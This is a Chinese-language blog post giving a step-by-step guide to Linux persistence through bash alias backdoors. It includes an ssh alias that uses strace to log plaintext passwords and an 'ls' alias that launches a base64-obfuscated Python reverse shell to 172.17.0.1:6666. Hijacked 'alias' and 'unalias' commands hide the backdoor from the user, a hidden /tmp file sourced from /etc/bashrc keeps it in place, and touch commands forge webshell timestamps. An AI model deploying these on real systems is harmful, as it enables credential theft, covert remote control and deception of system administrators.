HacKerQWQ的博客空间

权限维持之alisa后门

Word count: 2.2kReading time: 9 min
2022/01/10 Share

alias后门简介

alias 命令的功能是为命令设置别名,比如我想让我每次输入 ls 的时候都实现 ls -al 那怎么实现呢?

1
alias ls = 'ls -al'

对于通过ssh远程登录的用户来说,每次设置只在本次连接过程中有效,下次再进行登录的时候就不会这样了。

通过alias查看目前session已有的alias命令

image-20220110102038870

当用户常用的命令如whoami被alias修改为其他二进制可执行文件的时候,可以实现命令执行、权限维持等操作。

alias后门

配置文件

  • /etc/profile 【系统级】Linux是一个多用户操作系统。用户登录或切换(即Login shell 启动)时都有一个专用的运行环境,但首先执行 /etc/profile
  • /etc/bashrc 【系统级】在 bash shell 打开时运行,修改该文件配置的环境变量将会影响所有用户使用的bash shell
  • ~/.bashrc 【用户级】当用户登录时以及每次打开新的shell时该文件都将被读取,不推荐在这里配置用户专用的环境变量,因为每开一个shell,该文件都会被读取一次,效率肯定受影响
  • ~/.bash_profile && ~./bash_login【用户级】
    • 如果有其中的一个文件存在的话, 当启动的是一个登录shell时,Bash 会执行该文件而不会执行~/.profile
    • 如果两个文件都存在的话,Bash 将会优先执行/.bash_profile 而不是/.bash_login
  • ~/.bash_logout 【用户级】当每次退出系统(退出bash shell)时执行该文件

命令解释

strace

  • 它可以基于特定的系统调用或系统调用组进行过滤
  • 它可以通过统计特定系统调用的使用次数,所花费的时间,以及成功和错误的数量来分析系统调用的使用。
  • 它跟踪发送到进程的信号。
  • 可以通过pid附加到任何正在运行的进程。
  • 调试性能问题,查看系统调用的频率,找出耗时的程序段
  • 查看程序读取的是哪些文件从而定位比如配置文件加载错误问题
  • 查看某个php脚本长时间运行“假死”情况
  • 当程序出现“Out of memory”时被系统发出的SIGKILL信息所kill 另外因为strace拿到的是系统调用相关信息,一般也即是IO操作信息,这个对于排查比如cpu占用100%问题是无能为力的。这个时候就可以使用GDB工具了。

参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
-c 统计每一系统调用的所执行的时间,次数和出错的次数等. 
-d 输出strace关于标准错误的调试信息.
-f 跟踪由fork调用所产生的子进程.
-ff 如果提供-o filename,则所有进程的跟踪结果输出到相应的filename.pid中,pid是各进程的进程号.
-F 尝试跟踪vfork调用.在-f时,vfork不被跟踪.
-h 输出简要的帮助信息.
-i 输出系统调用的入口指针.
-q 禁止输出关于脱离的消息.
-r 打印出相对时间关于,,每一个系统调用.
-t 在输出中的每一行前加上时间信息.
-tt 在输出中的每一行前加上时间信息,微秒级.
-ttt 微秒级输出,以秒了表示时间.
-T 显示每一调用所耗的时间.
-v 输出所有的系统调用.一些调用关于环境变量,状态,输入输出等调用由于使用频繁,默认不输出.
-V 输出strace的版本信息.
-x 以十六进制形式输出非标准字符串
-xx 所有字符串以十六进制形式输出.
-a column
设置返回值的输出位置.默认 为40.
-e expr
指定一个表达式,用来控制如何跟踪.格式如下:
[qualifier=][!]value1[,value2]...
qualifier只能是 trace,abbrev,verbose,raw,signal,read,write其中之一.value是用来限定的符号或数字.默认的 qualifier是 trace.感叹号是否定符号.例如:
-eopen等价于 -e trace=open,表示只跟踪open调用.而-etrace!=open表示跟踪除了open以外的其他调用.有两个特殊的符号 all 和 none.
注意有些shell使用!来执行历史记录里的命令,所以要使用\\.
-e trace=set
只跟踪指定的系统 调用.例如:-e trace=open,close,rean,write表示只跟踪这四个系统调用.默认的为set=all.
-e trace=file
只跟踪有关文件操作的系统调用.
-e trace=process
只跟踪有关进程控制的系统调用.
-e trace=network
跟踪与网络有关的所有系统调用.
-e strace=signal
跟踪所有与系统信号有关的 系统调用
-e trace=ipc
跟踪所有与进程通讯有关的系统调用
-e abbrev=set
设定 strace输出的系统调用的结果集.-v 等与 abbrev=none.默认为abbrev=all.
-e raw=set
将指 定的系统调用的参数以十六进制显示.
-e signal=set
指定跟踪的系统信号.默认为all.如 signal=!SIGIO(或者signal=!io),表示不跟踪SIGIO信号.
-e read=set
输出从指定文件中读出 的数据.例如:
-e read=3,5
-e write=set
输出写入到指定文件中的数据.
-o filename
将strace的输出写入文件filename
-p pid
跟踪指定的进程pid.
-s strsize
指定输出的字符串的最大长度.默认为32.文件名一直全部输出.
-u username
以username 的UID和GID执行被跟踪的命令

制作alias后门

  1. 监听管理员从本机ssh到其他机器的明文密码
1
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s 2048 ssh'
  • -o用于将输出写入到指定文件
  • -e用于指定系统调用,这里指定read、wriite、connect表示监听进程的读、写和连接,更多调用见syscalls,常见调用见wiki
  • -s 2048 是设置打印字符串的长度,默认是32

完整使用:

1
2
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s 2048 ssh'
ssh root@172.17.0.1//输入密码后即可在/tmp/sshpwd-10Jan011641782221.log中看到明文密码

image-20220110103901239

  1. 监听本地ssh流量(有ssh连接进入则记录)
1
2
ps -ef | grep sshd #父进程PID
strace -f -p 6332 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048

image-20220110104714815

  1. alias后门

    1
    2
    3
    4
    5
    alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTcyLjE3LjAuMSIsIDY2NjYpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp'\'')))";};alerts'

    alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'

    alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'
    • base64解码之后是如下代码

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      import os,socket,subprocess;
      ret = os.fork()
      if ret > 0:
      exit()
      else:
      try:
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.connect(("172.17.0.1", 6666))
      os.dup2(s.fileno(), 0)
      os.dup2(s.fileno(), 1)
      os.dup2(s.fileno(), 2)
      p = subprocess.call(["/bin/sh", "-i"])
      except Exception as e:
      exit()
    • 实现的效果是:

      • 劫持了 ls 命令,输入 ls 后可以执行我们的反弹 shell 的命令
      • ls 命令执行完全正常,用户无感知
      • 劫持了 unalias 命令,使用户无法直接通过 unalias 来解除我们的 ls 别名
      • 劫持了 alias 命令,使用户查看别名列表的时候发现 ls 一直是 ls=’ls –color=auto’

持久化alias后门

最常见的办法是将alias命令写在配置文件里面,如/etc/bashrc

image-20220110110414130

但是这些配置文件是重点关照对象,可以写在这些配置文件里面引入的其他配置文件中,在/etc/bashrc中加入如下代码

1
2
3
4
# System global API definition
if [ -f /tmp/.bash_resource ]; then
. /tmp/.bash_resource
fi

将下面内容写入/tmp/.bash_resource

1
2
3
4
5
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTcyLjE3LjAuMSIsIDY2NjYpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp'\'')))";};alerts'

alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'

alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'

成功收到shell

image-20220110111227875

可以使用命令修改时间戳增强隐蔽性

1
2
3
4
//将index.php的时间戳克隆给webshell.php
touch -r index.php webshell.php
//直接将时间戳修改成某年某月某日。如下 2014 年 01 月 02 日。
touch -t 1401021042.30 webshell.php

参考链接

https://cloud.tencent.com/developer/article/1683267

CATALOG
  1. 1. alias后门简介
  2. 2. alias后门
    1. 2.1. 配置文件
    2. 2.2. 命令解释
    3. 2.3. 制作alias后门
    4. 2.4. 持久化alias后门
  3. 3. 参考链接